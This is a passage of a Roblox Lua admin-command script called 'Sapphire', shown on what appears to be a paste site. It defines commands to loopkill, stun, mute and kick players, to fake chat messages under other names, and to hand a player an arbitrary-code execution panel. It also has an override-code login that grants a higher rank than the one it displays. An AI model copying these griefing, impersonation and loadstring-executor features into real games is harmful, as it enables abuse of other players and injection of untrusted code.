  814. CancelButton.Text = "Cancel"
  815. CancelButton.TextColor3 = Color3.new(1, 0, 0)
  816. CancelButton.TextSize = 28
  817.  
  818. TextLabel.Parent = Body
  819. TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  820. TextLabel.BackgroundTransparency = 1
  821. TextLabel.Position = UDim2.new(0.5, -100, 0, 40)
  822. TextLabel.Size = UDim2.new(0, 200, 0, 50)
  823. TextLabel.Font = Enum.Font.Highway
  824. TextLabel.FontSize = Enum.FontSize.Size24
  825. TextLabel.Text = "Please login to get rank 6."
  826. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  827. TextLabel.TextSize = 24
  828.  
  829. LoginButton.MouseButton1Click:connect(function()
  830. if CodeInput.Text == Override then
  831. Interface:remove()
  832. SetRank(player, 7)
  833. else
  834. local WrongCode = Instance.new('TextLabel',Body)
  835. WrongCode.Name = "WrongCode"
  836. WrongCode.Parent = Body
  837. WrongCode.BackgroundColor3 = Color3.new(1, 1, 1)
  838. WrongCode.BackgroundTransparency = 1
  839. WrongCode.Position = UDim2.new(0, 50, 0, 200)
  840. WrongCode.Size = UDim2.new(0, 200, 0, 50)
  841. WrongCode.Font = Enum.Font.SourceSansBold
  842. WrongCode.FontSize = Enum.FontSize.Size24
  843. WrongCode.Text = "Wrong Code!"
  844. WrongCode.TextColor3 = Color3.new(1, 0, 0)
  845. WrongCode.TextSize = 24
  846. wait(3)
  847. WrongCode:remove()
  848. end
  849. end)
  850. CancelButton.MouseButton1Click:connect(function()
  851. Interface:remove()
  852. end)
  853. end)
  854.  
  855. NewCommand('WalkSpeed','ws',3,'Set someones walkspeed',function(player,message)
  856. local Split = message:find(Splitkey)
  857. local PreSplit = message:sub(1, Split - 1)
  858. local AfterSplit = message:sub(Split + 1)
  859. for _,plr in next,GetPlayers(player,PreSplit) do
  860. plr.Character.Humanoid.WalkSpeed = tonumber(AfterSplit)
  861. end
  862. end)
  863.  
  864. NewCommand('Jump Power','jp',3,'Set someones jumppower',function(player,message)
  865. local Split = message:find(Splitkey)
  866. local PreSplit = message:sub(1, Split - 1)
  867. local AfterSplit = message:sub(Split + 1)
  868. for _,plr in next,GetPlayers(player,PreSplit) do
  869. plr.Character.Humanoid.JumpPower = tonumber(AfterSplit)
  870. end
  871. end)
  872.  
  873.  
  874.  
  875. NewCommand('Get Ranked','ranked',0,'Get the ranked players',function(player,message)
  876. getRanked(player)
  877. end)
  878.  
  879. NewCommand("Force Chat","fchat",5,"Force someone to say something",function(player,message)
  880. local Split = message:find(Splitkey)
  881. local PreSplit = message:sub(1, Split - 1)
  882. local AfterSplit = message:sub(Split + 1)
  883. for _,plr in next,GetPlayers(player,PreSplit) do
  884. FC(plr, tostring(AfterSplit))
  885. end
  886. end)
  887.  
  888. NewCommand('Loopkill','lk',4,'Loopkill someone',function(player,message)
  889. for _,plr in next,GetPlayers(player,message) do
  890. while wait() do
  891. plr.Character.Humanoid.Health = 0
  892. end
  893. end
  894. end)
  895.  
  896.  
  897.  
  898.  
  899. NewCommand("Fake Chat","fake",5,"Fake a chat message",function(player,message)
  900. local Split = message:find(Splitkey)
  901. local PreSplit = message:sub(1, Split - 1)
  902. local AfterSplit = message:sub(Split + 1)
  903.  
  904. Services = setmetatable({},{__index=function(s,n)
  905. if n == "ChatService" then
  906. return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
  907. else
  908. return game:service(n)
  909. end
  910. end})
  911. local FakeChat = Services.ChatService:AddSpeaker(PreSplit)
  912.  
  913. if not Services.ChatService:GetChannel("All") then
  914. Services.ChatService:AddChannel("All")
  915. for i,v in next, game:service'Players':players() do
  916. if Services.ChatService:GetSpeaker(v.Name) then
  917. Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
  918. end
  919. end
  920. end
  921.  
  922. FakeChat:JoinChannel("All")
  923.  
  924.  
  925.  
  926. FakeChat:SayMessage(tostring(AfterSplit),"All")
  927.  
  928.  
  929. wait(0.01)
  930.  
  931. Services.ChatService:RemoveSpeaker(PreSplit)
  932. end)
  933.  
  934.  
  935.  
  936. NewCommand('No Loopkill','unlk',4,'UnLoopkill someone',function(player,message)
  937. for _,plr in next,GetPlayers(player,message) do
  938. plr.Character = nil
  939. wait(0.3)
  940. plr:LoadCharacter()
  941. end
  942. end)
  943.  
  944. NewCommand("Set Waves","wave",5,"Set if waves are on or off",function(player,message)
  945. Output(player, 'Do you want waves on?','Institutional white')
  946. Output(player, 'Yes','Lime green',function() Waves = true end)
  947. Output(player, 'No','Really red',function() Waves = false end)
  948. end)
  949.  
  950. NewCommand("Add Channel","add",6,"Add a channel to the chat system",function(player,message)
  951. addChannel(message)
  952. end)
  953.  
  954. NewCommand('Ping','ping',0,'Ping a message on a tablet',function(player,message)
  955. Output(player, message, GetColor(player))
  956. if message == "" then
  957. Output(player, 'Sapphire', 'Lime green')
  958. end
  959. end)
  960.  
  961. NewCommand("Show Players","plrs", 4, "Show the players on the game",function(player,message)
  962. getPlayers(player)
  963. end)
  964.  
  965.  
  966. NewCommand("Gear","gear",4,"Gear someone a tool",function(player,message)
  967. local Split = message:find(Splitkey)
  968. local PreSplit = message:sub(1, Split - 1)
  969. local AfterSplit = message:sub(Split + 1)
  970. for _,plr in next,GetPlayers(player,PreSplit) do
  971. game:GetObjects("rbxassetid://"..tostring(AfterSplit))[1].Parent = plr.Backpack
  972. end
  973. end)
  974.  
  975. NewCommand('Shutdown','sd',5,'Shutdown the server',function(player,message)
  976. for i,v in pairs(game.Players:GetPlayers()) do
  977. v:kick('[Sapphire]: Server has been shutdown.')
  978. end
  979. end)
  980.  
  981. NewCommand("Script Executor GUI","exegui",5,"Give someone a script executor gui",function(player,message)
  982. for _,plr in next,GetPlayers(player,message) do
  983. -- Objects
  984.  
  985. local ScreenGui = Instance.new("ScreenGui")
  986. local Frame = Instance.new("Frame")
  987. local TextButton = Instance.new("TextButton")
  988. local TextBox = Instance.new("TextBox")
  989. local TextButton_2 = Instance.new("TextButton")
  990. local TextButton_3 = Instance.new("TextButton")
  991. local TextLabel = Instance.new('TextLabel')
  992.  
  993. -- Properties
  994.  
  995. ScreenGui.Parent = plr.PlayerGui
  996.  
  997. Frame.Parent = ScreenGui
  998. Frame.BackgroundColor3 = Color3.new(0, 0, 0.498039)
  999. Frame.BackgroundTransparency = 0.5
  1000. Frame.Draggable = true
  1001. Frame.Position = UDim2.new(0.5, -200, 0.5, -200)
  1002. Frame.Selectable = true
  1003. Frame.Size = UDim2.new(0, 400, 0, 400)
  1004. Frame.Visible = true
  1005.  
  1006. TextButton.Parent = Frame
  1007. TextButton.BackgroundColor3 = Color3.new(0, 0, 0)
  1008. TextButton.BackgroundTransparency = 0.60000002384186
  1009. TextButton.Position = UDim2.new(0, 380, 0, 0)
  1010. TextButton.Size = UDim2.new(0, 20, 0, 20)
  1011. TextButton.FontSize = Enum.FontSize.Size24
  1012. TextButton.Text = "-"
  1013. TextButton.TextColor3 = Color3.new(1, 1, 1)
  1014.  
  1015. TextBox.Parent = Frame
  1016. TextBox.BackgroundColor3 = Color3.new(1, 1, 1)
  1017. TextBox.Position = UDim2.new(0, 50, 0, 50)
  1018. TextBox.Size = UDim2.new(0, 300, 0, 250)
  1019. TextBox.ClearTextOnFocus = false
  1020. TextBox.Font = Enum.Font.SourceSans
  1021. TextBox.FontSize = Enum.FontSize.Size14
  1022. TextBox.MultiLine = true
  1023. TextBox.Text = "INPUT YOUR SCRIPT HERE"
  1024. TextBox.TextScaled = false
  1025. TextBox.TextWrapped = true
  1026. TextBox.TextXAlignment="Left"
  1027. TextBox.TextYAlignment="Top"
  1028.  
  1029. TextButton_2.Parent = Frame
  1030. TextButton_2.BackgroundColor3 = Color3.new(0, 0, 0)
  1031. TextButton_2.Position = UDim2.new(0, 50, 0, 330)
  1032. TextButton_2.Size = UDim2.new(0, 50, 0, 50)
  1033. TextButton_2.Font = Enum.Font.SourceSansBold
  1034. TextButton_2.FontSize = Enum.FontSize.Size24
  1035. TextButton_2.Text = "EXE"
  1036. TextButton_2.TextColor3 = Color3.new(1, 1, 1)
  1037.  
  1038. TextButton_3.Parent = Frame
  1039. TextButton_3.BackgroundColor3 = Color3.new(0.666667, 0, 0)
  1040. TextButton_3.Position = UDim2.new(0, 300, 0, 330)
  1041. TextButton_3.Size = UDim2.new(0, 50, 0, 50)
  1042. TextButton_3.Font = Enum.Font.SourceSansBold
  1043. TextButton_3.FontSize = Enum.FontSize.Size24
  1044. TextButton_3.Text = "CLR"
  1045. TextButton_3.TextColor3 = Color3.new(1, 1, 1)
  1046.  
  1047. TextLabel.Parent = Frame
  1048. TextLabel.Text = "SCRIPT EXECUTION GUI"
  1049. TextLabel.Size = UDim2.new(0, 380, 0, 20)
  1050. TextLabel.TextScaled = true
  1051. TextLabel.TextColor3 = Color3.new(255,255,255)
  1052. TextLabel.BackgroundTransparency = 1
  1053. TextLabel.Selectable = true
  1054. TextLabel.Draggable = true
  1055.  
  1056. TextButton.MouseButton1Click:connect(function()
  1057. if Frame.Size == UDim2.new(0, 400, 0, 400) then
  1058. Frame.Size = UDim2.new(0, 400, 0, 20)
  1059. TextButton.Text = "+"
  1060. TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = false,false,false
  1061. else
  1062. Frame.Size = UDim2.new(0, 400, 0, 400)
  1063. TextButton.Text = "-"
  1064. TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = true,true,true
  1065. end
  1066. end)
  1067. TextButton_2.MouseButton1Click:connect(function()
  1068. local success,errored = loadstring(TextBox.Text)
  1069. if success and not errored then
  1070. success()
  1071. else
  1072. TextBox.Text = "Error: "..errored
  1073. end
  1074. end)
  1075.  
  1076. TextButton_3.MouseButton1Click:connect(function()
  1077. TextBox.Text = ""
  1078. end)
  1079. end
  1080. end)
  1081.  
  1082. NewCommand('Mute','mute',6,'Mute a player',function(player,message)
  1083. for _,plr in next,GetPlayers(player,message) do
  1084. Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)', plr)
  1085. end
  1086. end)
  1087.  
  1088. NewCommand('UnMute','unmute',6,'UnMute a player',function(player,message)
  1089. for _,plr in next,GetPlayers(player,message) do
  1090. Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, true)', plr)
  1091. end
  1092. end)
  1093.  
  1094. NewCommand("Stun","stun",3,"Stun a player",function(player,message)
  1095. for _,plr in next,GetPlayers(player,message) do
  1096. plr.Character.Humanoid.PlatformStand = true
  1097. end
  1098. end)
  1099.  
  1100. NewCommand("Change Override Code","newcode",7,"Change the override code to Sapphire",function(player,message)
  1101. Override = message
  1102. end)
  1103.  
  1104. NewCommand("UnStun","unstun",3,"UnStun a player",function(player,message)
  1105. for _,plr in next,GetPlayers(player,message) do
  1106. plr.Character.Humanoid.PlatformStand = false
  1107. end
  1108. end)
  1109.  
  1110. --Loadup--
  1111.  
  1112. for i,v in pairs(game.Players:GetPlayers()) do
  1113. Output(v, 'Welcome to Sapphire, '..v.Name..'!',GetColor(v))
  1114. Output(v, 'Your rank is: '..GetRank(v),'Deep orange')
  1115. Output(v, 'Click to show commands','Bright green',function() Commands_E(v) end)
  1116. Output(v, 'Dismiss','Really red',function() Dismiss(v) end)
  1117. Output(v, 'Your suffix is '..GetSuffix(v), 'Cyan')
  1118.  
  1119. if GetRank(v) >= 1 then
  1120. Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
  1121. Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
  1122. else
  1123. Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
  1124. Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
  1125. end
  1126.  
  1127. v.Chatted:connect(function(m)
  1128. Chatted(v, m)
  1129. end)
  1130. end
  1131.  
  1132. function setChatColor(player)
  1133. pcall(function()
  1134. coroutine.wrap(function()
  1135. if GetRank(player) >= 1 then
  1136. Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
  1137. Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
  1138. else
  1139. Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
  1140. Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
  1141. end
  1142. end)()
  1143. end)
  1144. end
  1145.  
  1146. return module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement